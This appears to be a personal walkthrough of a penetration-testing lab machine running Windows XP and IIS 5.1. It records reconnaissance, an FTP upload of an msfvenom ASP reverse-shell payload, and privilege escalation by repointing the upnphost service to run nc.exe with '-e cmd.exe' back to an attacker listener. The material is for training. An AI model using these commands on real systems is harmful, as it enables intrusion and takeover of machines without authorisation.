10.11.1.14

Things Learned:
Always ennumerate FTP first.
Dont think of each port differently, they can be connected to one another. In this box, FTP had the web server running for HTTP, so manipulating FTP, we could have recieved a revershell. (uploading a file to FTP which was connected to HTTP).
Dont stick to one file transfer method because some systems simply dont have it installed. Try smb file sharing, http file sharing, ftp file sharing.
If your revershell connection falls, it might not be the case of the interent or the box, but a simply unstable shell. This might be due to using an incorrect / staged payload.

nmap scan results
map -sC -sV -p- -Pn 10.11.1.14 --open -oN result

21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 01-17-07 06:42PM <DIR> AdminScripts
| 01-17-07 06:43PM <DIR> ftproot
| 01-17-07 06:43PM <DIR> iissamples
| 01-17-07 06:43PM <DIR> Scripts
|_01-08-23 03:19PM <DIR> wwwroot
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http **Microsoft IIS httpd 5.1**
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
| http-webdav-scan:
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| WebDAV type: Unknown
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

| Server Date: Mon, 09 Jan 2023 15:52:40 GMT
|_ Server Type: **Microsoft-IIS/5.1**
|_http-server-header: **Microsoft-IIS/5.1**
443/tcp open https?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

nmap vulnerability check

HTTP Ennumeration
gobuster dir -u http://10.11.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

2023/01/09 11:00:04 Starting gobuster in directory enumeration mode
==========
[ERROR] 2023/01/09 11:00:04 [!] Get "http://10.11.1.14/download": EOF
/scripts   (Status: 302) [Size: 149] [--> http://10.11.1.14/scripts/]
/printers   (Status: 401) [Size: 24]
/engineering   (Status: 403) [Size: 152]

nikto -h 10.11.1.14:80
- Nikto v2.1.6

+ Server: Microsoft-IIS/5.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server banner has changed from 'Microsoft-IIS/5.1' to 'ARRAY(0x5650f7cd4958)' which may suggest a WAF, load balancer or proxy is in place
+ OSVDB-397: HTTP method 'PUT' allows clients to save files on the web server.
+ OSVDB-5646: HTTP method 'DELETE' allows clients to delete files on the web server.
+ Retrieved dasl header: <DAV:sql>
+ Retrieved dav header: 1, 2
+ Retrieved ms-author-via header: DAV

+ Uncommon header 'ms-author-via' found, with contents: DAV
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5647: HTTP method ('Allow' Header): 'MOVE' may allow clients to change file locations on the web server.
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
+ OSVDB-5646: HTTP method ('Public' Header): 'DELETE' may allow clients to remove files on the web server.
+ OSVDB-397: HTTP method ('Public' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5647: HTTP method ('Public' Header): 'MOVE' may allow clients to change file locations on the web server.
+ WebDAV enabled (PROPPATCH UNLOCK LOCK SEARCH PROPFIND COPY MKCOL listed as allowed)
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-877: HTTP TRACK method is active, suggesting the host is vulnerable to XST
+ ERROR: Error limit (20) reached for host, giving up. Last error:
+ Scan terminated: 1 error(s) and 20 item(s) reported on remote host
+ End Time: 2023-01-09 11:13:59 (GMT-5) (776 seconds)

Open **443** https

FTP Ennumeration

ftp -> anonymous login -> we can put file in wwwroot.

Lets try to put a test.htm (it works)

so lets upload a revershell NONSTAGED WINDOWS PAYLOAD and NON

METERPERTER in the ftp wwwroot folder.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.148 LPORT=1234 -f asp -o evil.asp

catch the reverse shell.
nc nlvp 1234

https://sohvaxus.github.io/content/winxp-sp1-privesc.html

We catch a revershell for windows.
Ennumerate windows.

systeminfo

systeminfo

Host Name: BOB
OS Name: **Microsoft Windows XP Professional**
OS Version: 5.1.2600 **Service Pack 1** Build 2600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Uniprocessor Free
Registered Owner: Offsec
Registered Organization: Offsec
Product ID: 55274-640-9771731-23056
Original Install Date: 1/10/2007, 5:49:26 PM
System Up Time: N/A
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~3094 Mhz
BIOS Version: INTEL - 6040000
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\System32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)

Time Zone: (GMT) Greenwich Mean Time : Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 511 MB
Available Physical Memory: 273 MB
Virtual Memory: Max Size: 1,378 MB
Virtual Memory: Available: 944 MB
Virtual Memory: In Use: 434 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 3 Hotfix(s) Installed.
[01]: File 1
[02]: Q147222
[03]: KB893803v2 - Update
NetWork Card(s): 1 NIC(s) Installed.
[01]: VMware PCI Ethernet Adapter
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.11.1.14

https://sohvaxus.github.io/content/winxp-sp1-privesc.html
We can locally privilege escalte using the above article for **windows xp using sp 0 and 1.**

The windows system is too old, and does not have certutil or Powershell to transfer files.

Lets use Impacekt SMB share to transfer our files.

impacket-smbserver smb share/ #smb is just a file name. share is the directory that I have made and located the files I want to transfer winpeas located at.

On our victims machine initiate the smb and copy the file over.

net use \\192.168.119.148\smb
copy \\192.168.119.148\smb\winpeas.exe \windows\temp\a.exe
copy \\192.168.119.148\smb\accesschk.exe \InetPub\www\root
copy \\192.168.119.148\smb\nc.exe

Run
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

RW SSDPSRV
    SERVICE_ALL_ACCESS
RW upnphost
    SERVICE_ALL_ACCESS

accesschk.exe /accepteula -ucqv SSDPSRV

 RW NT AUTHORITY\SYSTEM
    SERVICE_ALL_ACCESS
 RW BUILTIN\Administrators
    SERVICE_ALL_ACCESS
 RW NT AUTHORITY\Authenticated Users
    SERVICE_ALL_ACCESS
 RW BUILTIN\Power Users
    SERVICE_ALL_ACCESS
 RW NT AUTHORITY\LOCAL SERVICE
    SERVICE_ALL_ACCESS

accesschk.exe /accepteula -ucqv upnphost

we have access to two services from which we can edit the service parameters, named upnphost and SSDPSRV

C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: upnphost
    TYPE   : 20 WIN32_SHARE_PROCESS
    START_TYPE   : 3   DEMAND_START
    ERROR_CONTROL   : 1   NORMAL
    BINARY_PATH_NAME   : C:\WINDOWS\System32\svchost.exe -k LocalService
    LOAD_ORDER_GROUP   :

```
        TAG                : 0
        DISPLAY_NAME       : Universal Plug and Play Device Host
        DEPENDENCIES       : SSDPSRV
        SERVICE_START_NAME : NT AUTHORITY\LocalService


C:\> sc qc SSDPSRV
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: SSDPSRV
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 4   DISABLED
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\System32\svchost.exe -k LocalService
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : SSDP Discovery Service
        DEPENDENCIES       :
        SERVICE_START_NAME : NT AUTHORITY\LocalService
```

upnphost is dependent on ssdpsrv but ssdpsrv is disabled. so we have to turn it on.

Try
net start SSDPSRV
sc config SSDPSRV start= auto

net start SSDPSRV

Now lets upload nc.exe

copy \\192.168.119.148\smb\nc.exe to wwwroot where we have file access.

sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe -nv 192.168.0.2 4444 -e C:\WINDOWS\System32\cmd.exe"

open netcat listner on 4444

sc config upnphost obj= ".\LocalSystem" password= ""

net start upnphost

we are root.